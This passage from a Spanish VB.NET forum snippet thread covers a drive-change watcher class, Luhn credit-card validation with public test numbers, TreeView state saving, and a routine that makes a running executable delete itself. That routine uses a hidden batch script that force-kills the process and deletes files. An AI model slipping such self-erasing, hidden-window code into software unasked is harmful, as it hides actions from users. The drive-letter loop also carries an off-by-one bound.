  312.        ''' Set to DBT_DEVTYP_VOLUME (2).
  313.        ''' </summary>
  314.        ''' ----------------------------------------------------------------------------------------------------
  315.        Public Type As UInteger
  316.  
  317.        ''' ----------------------------------------------------------------------------------------------------
  318.        ''' <summary>
  319.        ''' Reserved parameter; do not use this.
  320.        ''' </summary>
  321.        ''' ----------------------------------------------------------------------------------------------------
  322.        Public Reserved As UInteger
  323.  
  324.        ''' ----------------------------------------------------------------------------------------------------
  325.        ''' <summary>
  326.        ''' The logical unit mask identifying one or more logical units.
  327.        ''' Each bit in the mask corresponds to one logical drive.
  328.        ''' Bit 0 represents drive A, bit 1 represents drive B, and so on.
  329.        ''' </summary>
  330.        ''' ----------------------------------------------------------------------------------------------------
  331.        Public Mask As UInteger
  332.  
  333.        ''' ----------------------------------------------------------------------------------------------------
  334.        ''' <summary>
  335.        ''' This parameter can be one of the following values:
  336.        ''' '0x0001': Change affects media in drive. If not set, change affects physical device or drive.
  337.        ''' '0x0002': Indicated logical volume is a network volume.
  338.        ''' </summary>
  339.        ''' ----------------------------------------------------------------------------------------------------
  340.        Public Flags As UShort
  341.  
  342.    End Structure
  343.  
  344. #End Region
  345.  
  346. #Region " Constructor "
  347.  
  348.    ''' ----------------------------------------------------------------------------------------------------
  349.    ''' <summary>
  350.    ''' Initializes a new instance of <see cref="DriveWatcher"/> class.
  351.    ''' </summary>
  352.    ''' ----------------------------------------------------------------------------------------------------
  353.    <DebuggerStepThrough>
  354.    Public Sub New()
  355.  
  356.        Me.events = New EventHandlerList
  357.  
  358.    End Sub
  359.  
  360. #End Region
  361.  
  362. #Region " Public Methods "
  363.  
  364.    ''' ----------------------------------------------------------------------------------------------------
  365.    ''' <summary>
  366.    ''' Starts monitoring.
  367.    ''' </summary>
  368.    ''' ----------------------------------------------------------------------------------------------------
  369.    ''' <exception cref="Exception">
  370.    ''' Monitor is already running.
  371.    ''' </exception>
  372.    ''' ----------------------------------------------------------------------------------------------------
  373.    <DebuggerStepThrough>
  374.    Public Overridable Sub Start()
  375.  
  376.        If (Me.Handle = IntPtr.Zero) Then
  377.            MyBase.CreateHandle(New CreateParams)
  378.            Me.isRunningB = True
  379.  
  380.        Else
  381.            Throw New Exception(message:="Monitor is already running.")
  382.  
  383.        End If
  384.  
  385.    End Sub
  386.  
  387.    ''' ----------------------------------------------------------------------------------------------------
  388.    ''' <summary>
  389.    ''' Stops monitoring.
  390.    ''' </summary>
  391.    ''' ----------------------------------------------------------------------------------------------------
  392.    ''' <exception cref="Exception">
  393.    ''' Monitor is already stopped.
  394.    ''' </exception>
  395.    ''' ----------------------------------------------------------------------------------------------------
  396.    <DebuggerStepThrough>
  397.    Public Overridable Sub [Stop]()
  398.  
  399.        If (Me.Handle <> IntPtr.Zero) Then
  400.            MyBase.DestroyHandle()
  401.            Me.isRunningB = False
  402.  
  403.        Else
  404.            Throw New Exception(message:="Monitor is already stopped.")
  405.  
  406.        End If
  407.  
  408.    End Sub
  409.  
  410. #End Region
  411.  
  412. #Region " Private Methods "
  413.  
  414.    ''' ----------------------------------------------------------------------------------------------------
  415.    ''' <summary>
  416.    ''' Gets the drive letter stored in a <see cref="DevBroadcastVolume"/> structure.
  417.    ''' </summary>
  418.    ''' ----------------------------------------------------------------------------------------------------
  419.    ''' <param name="Device">
  420.    ''' The <see cref="DevBroadcastVolume"/> structure containing the device mask.
  421.    ''' </param>
  422.    ''' ----------------------------------------------------------------------------------------------------
  423.    ''' <returns>
  424.    ''' The drive letter.
  425.    ''' </returns>
  426.    ''' ----------------------------------------------------------------------------------------------------
  427.    <DebuggerStepThrough>
  428.    Private Function GetDriveLetter(ByVal device As DevBroadcastVolume) As Char
  429.  
  430.        Dim driveLetters As Char() = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray
  431.  
  432.        Dim deviceID As New BitArray(BitConverter.GetBytes(device.Mask))
  433.  
  434.        For i As Integer = 0 To deviceID.Length
  435.  
  436.            If deviceID(i) Then
  437.                Return driveLetters(i)
  438.            End If
  439.  
  440.        Next i
  441.  
  442.        Return Nothing
  443.  
  444.    End Function
  445.  
  446. #End Region
  447.  
  448. #Region " Window Procedure (WndProc) "
  449.  
  450.    ''' ----------------------------------------------------------------------------------------------------
  451.    ''' <summary>
  452.    ''' Invokes the default window procedure associated with this window to process messages for this Window.
  453.    ''' </summary>
  454.    ''' ----------------------------------------------------------------------------------------------------
  455.    ''' <param name="m">
  456.    ''' A <see cref="T:System.Windows.Forms.Message"/> that is associated with the current Windows message.
  457.    ''' </param>
  458.    ''' ----------------------------------------------------------------------------------------------------
  459.    <DebuggerStepThrough>
  460.    Protected Overrides Sub WndProc(ByRef m As Message)
  461.  
  462.        Select Case m.Msg
  463.  
  464.            Case DeviceEvents.Change ' The hardware has changed.
  465.  
  466.                If (m.LParam = IntPtr.Zero) Then
  467.                    Exit Select
  468.                End If
  469.  
  470.                ' If it's an storage device then...
  471.                If Marshal.ReadInt32(m.LParam, 4) = DeviceType.Logical Then
  472.  
  473.                    ' Transform the LParam pointer into the data structure.
  474.                    Dim currentWDrive As DevBroadcastVolume =
  475.                        DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DevBroadcastVolume)), DevBroadcastVolume)
  476.  
  477.                    Dim driveLetter As Char = Me.GetDriveLetter(currentWDrive)
  478.                    Dim deviceEvent As DeviceEvents = DirectCast(m.WParam.ToInt32, DeviceEvents)
  479.                    Dim driveInfo As New DriveInfo(driveLetter)
  480.  
  481.                    Me.OnDriveStatusChanged(New DriveStatusChangedEventArgs(deviceEvent, driveInfo))
  482.  
  483.                End If
  484.  
  485.        End Select
  486.  
  487.        ' Return Message to base message handler.
  488.        MyBase.WndProc(m)
  489.  
  490.    End Sub
  491.  
  492. #End Region
  493.  
  494. #Region " Hidden methods "
  495.  
  496.    ''' ----------------------------------------------------------------------------------------------------
  497.    ''' <summary>
  498.    ''' Serves as a hash function for a particular type.
  499.    ''' </summary>
  500.    ''' ----------------------------------------------------------------------------------------------------
  501.    <EditorBrowsable(EditorBrowsableState.Never)>
  502.    <DebuggerNonUserCode>
  503.    Public Shadows Function GetHashCode() As Integer
  504.        Return MyBase.GetHashCode
  505.    End Function
  506.  
  507.    ''' ----------------------------------------------------------------------------------------------------
  508.    ''' <summary>
  509.    ''' Gets the <see cref="System.Type"/> of the current instance.
  510.    ''' </summary>
  511.    ''' ----------------------------------------------------------------------------------------------------
  512.    ''' <returns>
  513.    ''' The exact runtime type of the current instance.
  514.    ''' </returns>
  515.    ''' ----------------------------------------------------------------------------------------------------
  516.    <EditorBrowsable(EditorBrowsableState.Never)>
  517.    <DebuggerNonUserCode>
  518.    Public Shadows Function [GetType]() As Type
  519.        Return MyBase.GetType
  520.    End Function
  521.  
  522.    ''' ----------------------------------------------------------------------------------------------------
  523.    ''' <summary>
  524.    ''' Determines whether the specified <see cref="System.Object"/> instances are considered equal.
  525.    ''' </summary>
  526.    ''' ----------------------------------------------------------------------------------------------------
  527.    <EditorBrowsable(EditorBrowsableState.Never)>
  528.    <DebuggerNonUserCode>
  529.    Public Shadows Function Equals(ByVal obj As Object) As Boolean
  530.        Return MyBase.Equals(obj)
  531.    End Function
  532.  
  533.    ''' ----------------------------------------------------------------------------------------------------
  534.    ''' <summary>
  535.    ''' Returns a String that represents the current object.
  536.    ''' </summary>
  537.    ''' ----------------------------------------------------------------------------------------------------
  538.    <EditorBrowsable(EditorBrowsableState.Never)>
  539.    <DebuggerNonUserCode>
  540.    Public Shadows Function ToString() As String
  541.        Return MyBase.ToString
  542.    End Function
  543.  
  544.    ''' ----------------------------------------------------------------------------------------------------
  545.    ''' <summary>
  546.    ''' Assigns a handle to this window.
  547.    ''' </summary>
  548.    ''' ----------------------------------------------------------------------------------------------------
  549.    <EditorBrowsable(EditorBrowsableState.Never)>
  550.    <DebuggerNonUserCode>
  551.    Public Shadows Sub AssignHandle(ByVal handle As IntPtr)
  552.        MyBase.AssignHandle(handle)
  553.    End Sub
  554.  
  555.    ''' ----------------------------------------------------------------------------------------------------
  556.    ''' <summary>
  557.    ''' Creates a window and its handle with the specified creation parameters.
  558.    ''' </summary>
  559.    ''' ----------------------------------------------------------------------------------------------------
  560.    <EditorBrowsable(EditorBrowsableState.Never)>
  561.    <DebuggerNonUserCode>
  562.    Public Shadows Sub CreateHandle(ByVal cp As CreateParams)
  563.        MyBase.CreateHandle(cp)
  564.    End Sub
  565.  
  566.    ''' ----------------------------------------------------------------------------------------------------
  567.    ''' <summary>
  568.    ''' Destroys the window and its handle.
  569.    ''' </summary>
  570.    ''' ----------------------------------------------------------------------------------------------------
  571.    <EditorBrowsable(EditorBrowsableState.Never)>
  572.    <DebuggerNonUserCode>
  573.    Public Shadows Sub DestroyHandle()
  574.        MyBase.DestroyHandle()
  575.    End Sub
  576.  
  577.    ''' ----------------------------------------------------------------------------------------------------
  578.    ''' <summary>
  579.    ''' Releases the handle associated with this window.
  580.    ''' </summary>
  581.    ''' ----------------------------------------------------------------------------------------------------
  582.    <EditorBrowsable(EditorBrowsableState.Never)>
  583.    <DebuggerNonUserCode>
  584.    Public Shadows Sub ReleaseHandle()
  585.        MyBase.ReleaseHandle()
  586.    End Sub
  587.  
  588.    ''' ----------------------------------------------------------------------------------------------------
  589.    ''' <summary>
  590.    ''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
  591.    ''' </summary>
  592.    ''' ----------------------------------------------------------------------------------------------------
  593.    <EditorBrowsable(EditorBrowsableState.Never)>
  594.    <DebuggerNonUserCode>
  595.    Public Shadows Function GetLifeTimeService() As Object
  596.        Return MyBase.GetLifetimeService
  597.    End Function
  598.  
  599.    ''' ----------------------------------------------------------------------------------------------------
  600.    ''' <summary>
  601.    ''' Obtains a lifetime service object to control the lifetime policy for this instance.
  602.    ''' </summary>
  603.    ''' ----------------------------------------------------------------------------------------------------
  604.    <EditorBrowsable(EditorBrowsableState.Never)>
  605.    <DebuggerNonUserCode>
  606.    Public Shadows Function InitializeLifeTimeService() As Object
  607.        Return MyBase.InitializeLifetimeService
  608.    End Function
  609.  
  610.    ''' ----------------------------------------------------------------------------------------------------
  611.    ''' <summary>
  612.    ''' Creates an object that contains all the relevant information to generate a proxy used to communicate with a remote object.
  613.    ''' </summary>
  614.    ''' ----------------------------------------------------------------------------------------------------
  615.    <EditorBrowsable(EditorBrowsableState.Never)>
  616.    <DebuggerNonUserCode>
  617.    Public Shadows Function CreateObjRef(ByVal requestedType As Type) As System.Runtime.Remoting.ObjRef
  618.        Return MyBase.CreateObjRef(requestedType)
  619.    End Function
  620.  
  621.    ''' ----------------------------------------------------------------------------------------------------
  622.    ''' <summary>
  623.    ''' Invokes the default window procedure associated with this window.
  624.    ''' </summary>
  625.    ''' ----------------------------------------------------------------------------------------------------
  626.    <EditorBrowsable(EditorBrowsableState.Never)>
  627.    <DebuggerNonUserCode>
  628.    Public Shadows Sub DefWndProc(ByRef m As Message)
  629.        MyBase.DefWndProc(m)
  630.    End Sub
  631.  
  632. #End Region
  633.  
  634. #Region " IDisposable Implementation "
  635.  
  636.    ''' ----------------------------------------------------------------------------------------------------
  637.    ''' <summary>
  638.    ''' To detect redundant calls when disposing.
  639.    ''' </summary>
  640.    ''' ----------------------------------------------------------------------------------------------------
  641.    Private isDisposed As Boolean
  642.  
  643.    ''' ----------------------------------------------------------------------------------------------------
  644.    ''' <summary>
  645.    ''' Releases all the resources used by this instance.
  646.    ''' </summary>
  647.    ''' ----------------------------------------------------------------------------------------------------
  648.    <DebuggerStepThrough>
  649.    Public Sub Dispose() Implements IDisposable.Dispose
  650.  
  651.        Me.Dispose(isDisposing:=True)
  652.        GC.SuppressFinalize(obj:=Me)
  653.  
  654.    End Sub
  655.  
  656.    ''' ----------------------------------------------------------------------------------------------------
  657.    ''' <summary>
  658.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  659.    ''' Releases unmanaged and - optionally - managed resources.
  660.    ''' </summary>
  661.    ''' ----------------------------------------------------------------------------------------------------
  662.    ''' <param name="isDisposing">
  663.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  664.    ''' <see langword="False"/> to release only unmanaged resources.
  665.    ''' </param>
  666.    ''' ----------------------------------------------------------------------------------------------------
  667.    <DebuggerStepThrough>
  668.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  669.  
  670.        If (Not Me.isDisposed) AndAlso (isDisposing) Then
  671.  
  672.            Me.events.Dispose()
  673.            Me.Stop()
  674.  
  675.        End If
  676.  
  677.        Me.isDisposed = True
  678.  
  679.    End Sub
  680.  
  681. #End Region
  682.  
  683. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Borito30 en 3 Marzo 2017, 23:09 pm
Hola los snippets que pusistes en mediafire estan actualizados para la version de visual studio 2015 o que versión me recomiendas para usarlos? Increible aporte gracias! ;-)


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 3 Marzo 2017, 23:43 pm
Hola los snippets que pusistes en mediafire estan actualizados para la version de visual studio 2015 o que versión me recomiendas para usarlos? Increible aporte gracias! ;-)

En teoría, la versión de Visual Studio (aunque es recomendado usar como minimo la versión 2010, y de ahí la 2013, y por excelencia la 2015, la 2017 no la recomiendo todavía, tiene algún que otro bug y si eres de utilizar muchos plugins te verás limitado, como yo por ejemplo con los Tools de Unity)

Lo que si importa es la versión del framework de .NET que como mínimo necesitarías para algunos la versión 4.5, quizás la 4, o incluso en algunos casos con tener la 3.5 es suficiente, eso ya lo vás seleccionando desde tu proyecto. Pero ya te digo tu te instalas la 4.6.2 y te van todos fijo.

No importa la versión de Visual Studio, a ojo diría que las versiones correspondientes son:

Visual Studio 2017 -> 4.6, 4.6.1, 4.6.2
Visual Studio 2015 -> 4.5, 4.5.1, 4.5.2
Visual Studio 2013 -> 4
Visual Studio 2010 -> 3.5
Visual Studio 2008 -> 1.1 y 2.0?

En fin, pero con instalar los paquetes de .NET ya el VS te los detecta para usarlo en tu proyecto.

Un saludo.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 14 Marzo 2017, 21:29 pm
No importa la versión de Visual Studio

En realidad si que importa. Cada nueva versión de Visual Studio añade modificaciones mejoradas en el empleo de sintaxis de C#/VB.NET. Dichas mejores evidentemente son incompatibles en versiones anteriores de Visual Studio.

Por ejemplo en VB.NET 14.0 (Visual Studio 2015) se pueden especificar strings multi linea lieterales, mientras que en las versioens anteriores de VB.NET, no.

VB.NET 14.0:
Código
  1.        Dim json = "{
  2.  'Name': 'Bad Boys',
  3.  'ReleaseDate': '1995-4-7T00:00:00',
  4.  'Genres': ['Action','Comedy']
  5. }"

El codigo de arriba daria error de compilación en versiones anteriores de VB.NET/VS. Habría que hacerlo más o menos así:
Código
  1.        Dim json = "{" & Environment.NewLine &
  2. "  'Name': 'Bad Boys'," & Environment.NewLine &
  3. "  'ReleaseDate': '1995-4-7T00:00:00'," & Environment.NewLine &
  4. "  'Genres': ['Action','Comedy']" & Environment.NewLine &
  5. "}"

Los snippets que compartí en este hilo fueron desarrollados bajo VS2013, y algunos en VS2015.

PD: Como ya dije, C# también tiene sus mejoras.

¡Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 1 Abril 2017, 16:22 pm
Hace mucho tiempo que no publico nada aquí...

Vamos allá:



¿Cómo validar el número de una tarjeta de crédito?

Para ello podemos implementar el algoritmo Luhn.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Uses the Luhn algorithm to determines whether the specified credit card number is valid.
  4. ''' <para></para>
  5. ''' Please de aware that not all valid credit cards can be verified with the Luhn algorithm because
  6. ''' it not covers all range of card numbers, however the Luhn algorithm does work for many, if not most, major credit cards.
  7. ''' <para></para>
  8. ''' The Luhn algorithm is simply used to prevent transpositional errors,
  9. ''' it is useful as a sanity check prior to submitting card numbers to a payment gateway,
  10. ''' but not suitable to absolutely validate whether a number is a valid card number.
  11. ''' <para></para>
  12. ''' The only way to absolutely verify a credit card number is to validate it via a payment gateway.
  13. ''' </summary>
  14. ''' ----------------------------------------------------------------------------------------------------
  15. ''' <remarks>
  16. ''' Luhn algorithm: <see href="https://en.wikipedia.org/wiki/Luhn_algorithm"/>
  17. ''' <para></para>
  18. ''' Microsoft's Luhn algorithm implementation: <see href="http://referencesource.microsoft.com/#System.ComponentModel.DataAnnotations/DataAnnotations/CreditCardAttribute.cs"/>
  19. ''' <para></para>
  20. ''' Credits to: <see href="http://www.vcskicks.com/credit-card-verification.php"/>
  21. ''' </remarks>
  22. ''' ----------------------------------------------------------------------------------------------------
  23. ''' <example> This is a code example.
  24. ''' <code>
  25. ''' Dim visaNumber As String = "4012888888881881"
  26. ''' Dim isValid As Boolean = ValidateCreditCardNumber(visaNumber)
  27. ''' </code>
  28. ''' </example>
  29. ''' ----------------------------------------------------------------------------------------------------
  30. ''' <param name="cardNumber">
  31. ''' The credit card number.
  32. ''' </param>
  33. ''' ----------------------------------------------------------------------------------------------------
  34. ''' <returns>
  35. ''' <see langword="True"/> if the specified card number is a valid card number; otherwise, <see langword="False"/>.
  36. ''' </returns>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. Public Shared Function ValidateCreditCardNumber(ByVal cardNumber As String) As Boolean
  39.  
  40.    cardNumber = cardNumber.Replace(" ", "").Replace("-", "").Trim()
  41.  
  42.    ' FIRST STEP: Double each digit starting from the right
  43.    Dim doubledDigits As Integer() = New Integer(cardNumber.Length / 2 - 1) {}
  44.    Dim k As Integer = 0
  45.    For i As Integer = cardNumber.Length - 2 To 0 Step -2
  46.        Dim digit As Integer
  47.        If Not Integer.TryParse(cardNumber(i), digit) Then
  48.            Return False
  49.        End If
  50.        doubledDigits(k) = digit * 2
  51.        k += 1
  52.    Next i
  53.  
  54.    ' SECOND STEP: Add up separate digits
  55.    Dim total As Integer = 0
  56.    For Each i As Integer In doubledDigits
  57.        Dim number As String = i.ToString()
  58.        For j As Integer = 0 To (number.Length - 1)
  59.            total += Integer.Parse(number(j).ToString())
  60.        Next j
  61.    Next i
  62.  
  63.    ' THIRD STEP: Add up other digits
  64.    Dim total2 As Integer = 0
  65.    For i As Integer = cardNumber.Length - 1 To 0 Step -2
  66.        Dim digit As Integer = Integer.Parse(cardNumber(i).ToString())
  67.        total2 += digit
  68.    Next i
  69.  
  70.    ' FOURTH STEP: Total
  71.    Dim final As Integer = (total + total2)
  72.  
  73.    Return (final Mod 10 = 0) ' Well formed will divide evenly by 10.
  74.  
  75. End Function

Modo de empleo:
Código
  1. ' http://www.paypalobjects.com/en_US/vhelp/paypalmanager_help/credit_card_numbers.htm
  2. Dim visaNumber As String = "4012888888881881"
  3. Dim isValid As Boolean = ValidateCreditCardNumber(visaNumber)

Aquí les dejo unos números de tarjetas de crédito para testear:
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Contains a collection of credit card numbers for testing purposes.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <remarks>
  7. ''' <see href="http://www.paypalobjects.com/en_US/vhelp/paypalmanager_help/credit_card_numbers.htm"/>
  8. ''' </remarks>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <example> This is a code example.
  11. ''' <code>
  12. ''' For Each card As KeyValuePair(Of String, String()) In CreditCardsTestNumbers
  13. '''     For Each cardnumber As String In card.Value
  14. '''         Dim isValidNumber As Boolean = ValidateCreditCardNumber(cardnumber)
  15. '''         Console.WriteLine("Card type: '{0}'; Number: '{1}'; Is Valid?: {2}", card.Key, cardnumber, isValidNumber)
  16. '''     Next cardnumber
  17. ''' Next card
  18. ''' </code>
  19. ''' </example>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. Public Shared ReadOnly CreditCardsTestNumbers As New Dictionary(Of String, String())(StringComparison.OrdinalIgnoreCase) From {
  22.    {"American Express", {"378282246310005", "371449635398431"}},
  23.    {"American Express Corporate", {"378734493671000"}},
  24.    {"Australian BankCard", {"5610591081018250"}},
  25.    {"Dankort (PBS)", {"5019717010103742", "76009244561"}},
  26.    {"Diners Club", {"30569309025904", "38520000023237"}},
  27.    {"Discover", {"6011111111111117", "6011000990139424"}},
  28.    {"JCB", {"3530111333300000", "3566002020360505"}},
  29.    {"Mastercard", {"5555555555554444", "5105105105105100"}},
  30.    {"Switch/Solo (Paymentech)", {"6331101999990016"}},
  31.    {"VISA", {"4111111111111111", "4012888888881881", "4222222222222"}}
  32. }



¿Cómo auto-eliminar el executable de nuestra aplicación?

Para ello podemos escribir las instrucciones de eliminación en un archivo.bat externo, e iniciarlo.

¿Por qué Batch?, bueno, en un principio podriamos pensar en una solución usando puro código .NET por ejemplo compilando un código fuente en tiempo de ejecución para generar un executable de .NET temporal con las instrucciones de terminación del proceso y de eliminación del archivo, pero al hacer esto nos estaríamos metiendo en un círculo vicioso ya que el executable externo no se podría eliminar a si mismo, por ende, esta es una de las pocas ocasiones en las que Batch sirve para salvarnos de un apuro.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Deletes the self application executable file.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. Public Shared Sub DeleteSelfApplication()
  7.    DeleteSelfApplication(TimeSpan.FromMilliseconds(0))
  8. End Sub
  9.  
  10. ''' ----------------------------------------------------------------------------------------------------
  11. ''' <summary>
  12. ''' Deletes the self application executable file.
  13. ''' </summary>
  14. ''' ----------------------------------------------------------------------------------------------------
  15. ''' <param name="delay">
  16. ''' A delay interval to wait (asynchronously) before proceeding to automatic deletion.
  17. ''' </param>
  18. ''' ----------------------------------------------------------------------------------------------------
  19. Public Shared Async Sub DeleteSelfApplication(ByVal delay As TimeSpan)
  20.  
  21.    If (delay.TotalMilliseconds > 0.0R) Then
  22.        Dim t As New Task(Sub() Thread.Sleep(delay))
  23.        t.Start()
  24.        Await t
  25.    End If
  26.  
  27.    Dim script As String = <a>
  28. @Echo OFF
  29.  
  30. Set "exeName=%~nx1"
  31. Set "exePath=%~f1"
  32.  
  33. :KillProcessAndDeleteExe
  34. (TaskKill.exe /F /IM "%exeName%")1>NUL 2>&amp;1
  35. If NOT Exist "%exePath%" (GoTo :SelfDelete)
  36. (DEL /Q /F "%exePath%") || (GoTo :KillProcessAndDeleteExe)
  37.  
  38. :SelfDelete
  39. (DEL /Q /F "%~f0")
  40. </a>.Value
  41.  
  42.    Dim tmpFile As New FileInfo(Path.Combine(Path.GetTempPath, Path.GetTempFileName))
  43.    tmpFile.MoveTo(Path.Combine(tmpFile.DirectoryName, tmpFile.Name & ".cmd"))
  44.    tmpFile.Refresh()
  45.    File.WriteAllText(tmpFile.FullName, script, Encoding.Default)
  46.  
  47.    Using p As New Process()
  48.        With p.StartInfo
  49.            .FileName = tmpFile.FullName
  50.            .Arguments = String.Format(" ""{0}"" ", Application.ExecutablePath)
  51.            .WindowStyle = ProcessWindowStyle.Hidden
  52.            .CreateNoWindow = True
  53.        End With
  54.        p.Start()
  55.        p.WaitForExit(0)
  56.    End Using
  57.  
  58.    Environment.Exit(0)
  59.  
  60. End Sub

Modo de empleo:
Código
  1. ' Auto destruir el executable al instante:
  2. DeleteSelfApplication()
  3.  
  4. ' Auto destruir el executable de forma asincrónica con un tiempo de espera de 5 segundos:
  5. DeleteSelfApplication(TimeSpan.FromSeconds(5))

El contenido del archivo.bat generado sería el siguiente:
Código
  1. @Echo OFF
  2.  
  3. Set "exeName=%~nx1"
  4. Set "exePath=%~f1"
  5.  
  6. :KillProcessAndDeleteExe
  7. (TaskKill.exe /F /IM "%exeName%")1>NUL 2>&amp;1
  8. If NOT Exist "%exePath%" (GoTo :SelfDelete)
  9. (DEL /Q /F "%exePath%") || (GoTo :KillProcessAndDeleteExe)
  10.  
  11. :SelfDelete
  12. (DEL /Q /F "%~f0")
...Lo primero que hará el script será entrar en un búcle infinito donde se intentará matar el proceso, y una vez conseguido se dispondrá a eliminar el archivo, y por último eliminarse a sí mismo.



¿Cómo guardar y restaurar el estado expandido/colapsado de los nodos de un TreeView?

Pongámonos en situación, imaginemos que tenemos un control de tipo TreeView en el que tenemos que crear y destruir algunos de sus nodos o todos ellos de forma dinámica, y al hacerlo perderiamos el estado expandido/colapsado de cada nodo al refrescar la lista de nodos.

U otra situación distinta, en la que simplemente quisieramos guardar el estado del TreeView al cerrar la aplicación, para cargar ese estado en el próximo inicio de la aplicación.

Bien, pues para solucionar ese tipo de problema primero crearíamos la siguiente función que nos devolverá una lista con todos los nodos y sus nodos hijos de un TreeView:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets all the parent nodes and all its child nodes in the source <see cref="TreeView"/>.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim nodeList As List(Of TreeNode) = Me.TreeView1.GetAllNodesAndChildnodes()
  9. '''
  10. ''' For Each node As TreeNode In nodeList
  11. '''     ' ...
  12. ''' Next node
  13. ''' </code>
  14. ''' </example>
  15. ''' ----------------------------------------------------------------------------------------------------
  16. ''' <param name="sender">
  17. ''' The source <see cref="TreeView"/>.
  18. ''' </param>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <returns>
  21. ''' A <see cref="List(Of TreeNode)"/> containing all the parent nodes and all its child nodes.
  22. ''' </returns>
  23. ''' ----------------------------------------------------------------------------------------------------
  24. Public Shared Function GetAllNodesAndChildnodes(ByVal sender As TreeView) As List(Of TreeNode)
  25.  
  26.    Dim nodes As New List(Of TreeNode)
  27.    Dim stack As New Stack(Of TreeNode)
  28.  
  29.    ' Bang all the top nodes into the queue.
  30.    For Each top As TreeNode In sender.Nodes
  31.        stack.Push(top)
  32.    Next
  33.  
  34.    While (stack.Count > 0)
  35.        Dim node As TreeNode = stack.Pop()
  36.        If (node IsNot Nothing) Then
  37.            ' Add the node to the list of nodes.
  38.            nodes.Add(node)
  39.  
  40.            If (node.Nodes IsNot Nothing) And (node.Nodes.Count > 0) Then
  41.                ' Enqueue the child nodes.
  42.                For Each child As TreeNode In node.Nodes
  43.                    stack.Push(child)
  44.                Next child
  45.            End If
  46.        End If
  47.    End While
  48.  
  49.    stack.Clear()
  50.    stack = Nothing
  51.    Return nodes
  52.  
  53. End Function

Ahora solo tenemos que crear una función para iterar los nodos obtenidos y así crear un "estado de guardado" (o save state), el cual consistitía en un diccionario que contendrá el código hash identificador de cada nodo, y un valor boolean indicando si el nodo está expandido o colapsado.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Saves the state of the source <see cref="TreeView"/> into a <see cref="Dictionary(Of Integer, Boolean)"/>
  4. ''' containing the hash code of each node and its expansion state.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <example> This is a code example.
  8. ''' <code>
  9. ''' Dim saveState As Dictionary(Of Integer, Boolean) = Me.TreeView1.SaveTreeState()
  10. ''' </code>
  11. ''' </example>
  12. ''' ----------------------------------------------------------------------------------------------------
  13. ''' <param name="sender">
  14. ''' The source <see cref="TreeView"/>.
  15. ''' </param>
  16. ''' ---------------------------------------------------------------------------------------------------
  17. ''' <returns>
  18. ''' A <see cref="Dictionary(Of Integer, Boolean)"/> containing the hash code of each node and its expansion state.
  19. ''' </returns>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. Public Shared Function SaveTreeState(ByVal sender As TreeView) As Dictionary(Of Integer, Boolean)
  22.  
  23.    Dim nodeList As List(Of TreeNode) = GetAllNodesAndChildnodes(sender)
  24.    Dim nodeStates As New Dictionary(Of Integer, Boolean)()
  25.  
  26.    For Each node As TreeNode In nodeList
  27.        nodeStates.Add(node.GetHashCode(), node.IsExpanded)
  28.    Next
  29.  
  30.    Return nodeStates
  31.  
  32. End Function

Y por último la función para restaurar un estado de guardado:
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Restores a state of the source <see cref="TreeView"/> previously saved using the <see cref="SaveTreeState"/> function.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim saveState As Dictionary(Of Integer, Boolean)
  9. '''
  10. ''' Private Sub Button_SaveTreeState(sender As Object, e As EventArgs) Handles Button_SaveTreeState.Click
  11. '''     saveState = Me.TreeView1.SaveTreeState()
  12. ''' End Sub
  13. '''
  14. ''' Private Sub Button_RestoreTreeState(sender As Object, e As EventArgs) Handles Button_RestoreTreeState.Click
  15. '''     Me.TreeView1.RestoreTreeState(saveState)
  16. ''' End Sub
  17. ''' </code>
  18. ''' </example>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <param name="sender">
  21. ''' The source <see cref="TreeView"/>.
  22. ''' </param>
  23. ''' ----------------------------------------------------------------------------------------------------
  24. ''' <param name="saveState">
  25. ''' A <see cref="Dictionary(Of Integer, Boolean)"/> containing the hash code of each node and its expansion state.
  26. ''' </param>
  27. ''' ----------------------------------------------------------------------------------------------------
  28. Public Shared Sub RestoreTreeState(ByVal sender As TreeView, ByVal saveState As Dictionary(Of Integer, Boolean))
  29.  
  30.    Dim nodeList As List(Of TreeNode) = GetAllNodesAndChildnodes(sender)
  31.  
  32.    For Each node As TreeNode In nodeList
  33.  
  34.        Dim hash As Integer = node.GetHashCode()
  35.  
  36.        If saveState.ContainsKey(hash) Then
  37.  
  38.            If saveState(hash) Then
  39.                node.Expand()
  40.            Else
  41.                node.Collapse()
  42.            End If
  43.  
  44.        End If
  45.  
  46.    Next
  47.  
  48. End Sub



